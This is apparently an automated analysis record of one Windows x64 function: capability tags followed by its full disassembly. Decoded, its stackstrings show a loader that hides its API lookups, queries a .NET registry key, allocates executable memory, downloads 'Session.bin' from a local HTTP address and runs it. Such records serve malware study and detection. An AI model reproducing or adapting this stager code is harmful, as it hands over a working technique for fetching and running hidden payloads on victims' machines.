Function at 0x140001000
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get ntdll base address
Get process filename
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x68]
sub rsp, 0x168
xor r10d, r10d
mov dword [rsp + 0x60], 0x6e72654b
mov byte [rsp + 0x6c], r10b
mov byte [rsp + 0x5c], r10b
mov byte [rbp - 0x10], r10b
mov byte [rbp - 0x28], r10b
mov byte [rbp - 0x74], r10b
mov byte [rsp + 0x7c], r10b
mov byte [rbp - 0x40], r10b
mov dword [rsp + 0x64], 0x32336c65
mov dword [rsp + 0x68], 0x6c6c642e
mov dword [rsp + 0x30], 0x696e6957
mov dword [rsp + 0x34], 0x2e74656e
mov dword [rsp + 0x38], 0x6c6c64
mov dword [rsp + 0x50], 0x64616f4c
mov dword [rsp + 0x54], 0x7262694c
mov dword [rsp + 0x58], 0x41797261
mov dword [rbp - 0x20], 0x65746e49
mov dword [rbp - 0x1c], 0x74656e72
mov dword [rbp - 0x18], 0x64616552
mov dword [rbp - 0x14], 0x656c6946
mov dword [rbp - 0x38], 0x65746e49
mov dword [rbp - 0x34], 0x74656e72
mov dword [rbp - 0x30], 0x6e65704f
mov dword [rbp - 0x2c], 0x416c7255
mov dword [rbp - 0x60], 0x65746e49
mov dword [rbp - 0x5c], 0x74656e72
mov dword [rbp - 0x58], 0x6e65704f
mov word [rbp - 0x54], 0x41
mov dword [rbp - 0x80], 0x74726956
mov dword [rbp - 0x7c], 0x416c6175
mov dword [rbp - 0x78], 0x636f6c6c
mov dword [rsp + 0x70], 0x61766461
mov dword [rsp + 0x74], 0x32336970
mov dword [rsp + 0x78], 0x6c6c642e
mov dword [rbp + 0x20], 0x54464f53
mov dword [rbp + 0x24], 0x45524157
mov dword [rbp + 0x28], 0x63694d5c
mov dword [rbp + 0x2c], 0x6f736f72
mov dword [rbp + 0x30], 0x4e5c7466
mov dword [rbp + 0x34], 0x46205445
mov dword [rbp + 0x38], 0x656d6172
mov dword [rbp + 0x3c], 0x6b726f77
mov dword [rbp + 0x40], 0x74655320
mov dword [rbp + 0x44], 0x4e5c7075
mov dword [rbp + 0x48], 0x765c5044
mov dword [rbp + 0x4c], 0x352e33
mov dword [rbp + 0xc8], 0x74736e49
mov dword [rbp + 0xcc], 0x6c6c61
mov dword [rbp - 0x70], 0x4f676552
mov dword [rbp - 0x6c], 0x4b6e6570
mov dword [rbp - 0x68], 0x78457965
mov word [rbp - 0x64], 0x41
mov dword [rbp - 0x50], 0x51676552
mov dword [rbp - 0x4c], 0x79726575
mov dword [rbp - 0x48], 0x756c6156
mov dword [rbp - 0x44], 0x41784565
mov dword [rsp + 0x40], 0x43676552
mov dword [rsp + 0x44], 0x65736f6c
mov dword [rsp + 0x48], 0x79654b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x20]
jmp 0x1400011df
mov rax, qword [r8 + 0x50]
cmp word [rax + 0x18], r10w
je 0x1400013d9
mov r8, qword [r8]
test r8, r8
jne 0x1400011cd
mov r8, qword [rbp + 0xb0]
movsxd rax, dword [r8 + 0x3c]
mov edx, r10d
mov r9d, dword [rax + r8 + 0x88]
add r9, r8
mov ecx, dword [r9 + 0x20]
add rcx, r8
cmp dword [r9 + 0x18], r10d
jbe 0x140001232
mov eax, dword [rcx]
cmp byte [rax + r8], 0x47
jne 0x140001226
cmp byte [rax + r8 + 0xd], 0x73
jne 0x140001226
cmp byte [rax + r8 + 0xe], r10b
je 0x1400013e2
inc edx
add rcx, 4
cmp edx, dword [r9 + 0x18]
jb 0x14000120a
mov r15, qword [rbp + 0xb0]
lea rdx, [rsp + 0x50]
mov rcx, r8
call r15
mov rbx, rax
lea rcx, [rsp + 0x60]
call rbx
lea rcx, [rsp + 0x30]
mov r14, rax
call rbx
lea rcx, [rsp + 0x70]
mov rdi, rax
call rbx
lea rdx, [rbp - 0x70]
mov rcx, rax
mov rbx, rax
call r15
lea rdx, [rbp - 0x50]
mov rcx, rbx
mov rsi, rax
call r15
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov r12, rax
call r15
lea rdx, [rbp - 0x60]
mov rcx, rdi
mov rbx, rax
call r15
lea rdx, [rbp - 0x38]
mov rcx, rdi
mov r13, rax
call r15
lea rdx, [rbp - 0x20]
mov qword [rbp + 0x58], rax
mov rcx, rdi
call r15
lea rdx, [rbp - 0x80]
mov rcx, r14
mov rdi, rax
call r15
mov r14, rax
lea rdx, [rbp + 0x20]
lea rax, [rbp + 0x50]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call rsi
xor esi, esi
test eax, eax
jne 0x14000131d
mov rcx, qword [rbp + 0x50]
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x28], rax
lea rdx, [rbp + 0xc8]
lea rax, [rbp + 0xb8]
mov dword [rbp + 0xb0], 4
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call r12
mov rcx, qword [rbp + 0x50]
call rbx
mov r15d, 0x100000
mov r9d, 0x40
mov edx, r15d
mov r8d, 0x3000
xor ecx, ecx
call r14
xor r9d, r9d
mov dword [rbp - 8], 0x70747468
xor r8d, r8d
mov dword [rbp - 4], 0x312f2f3a
xor edx, edx
mov dword [rbp], 0x302e3732
xor ecx, ecx
mov dword [rbp + 4], 0x312e302e
mov rbx, rax
mov dword [rbp + 8], 0x3030393a
mov dword [rbp + 0xc], 0x65532f30
mov dword [rbp + 0x10], 0x6f697373
mov dword [rbp + 0x14], 0x69622e6e
mov word [rbp + 0x18], 0x6e
mov dword [rsp + 0x20], esi
call r13
mov rcx, rax
mov qword [rsp + 0x28], rsi
xor r9d, r9d
mov dword [rsp + 0x20], 0x8000b400
xor r8d, r8d
lea rdx, [rbp - 8]
call qword [rbp + 0x58]
test rax, rax
je 0x1400013c5
lea r9, [rbp + 0xc0]
mov r8d, r15d
mov rdx, rbx
mov rcx, rax
call rdi
call rbx
add rsp, 0x168
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov r8, qword [r8 + 0x20]
jmp 0x1400011eb
mov eax, dword [r9 + 0x24]
add rax, r8
mov ecx, edx
movzx edx, word [rax + rcx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov r15d, dword [rcx + rdx*4]
add r15, r8
jmp 0x140001239